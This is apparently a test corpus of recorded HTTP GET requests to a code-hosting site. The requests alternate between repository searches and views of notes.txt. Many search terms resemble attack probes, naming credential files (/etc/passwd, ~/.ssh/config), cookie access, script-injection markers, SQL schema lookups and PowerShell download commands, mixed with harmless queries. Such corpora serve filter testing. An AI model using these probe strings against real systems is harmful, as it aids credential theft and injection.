+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
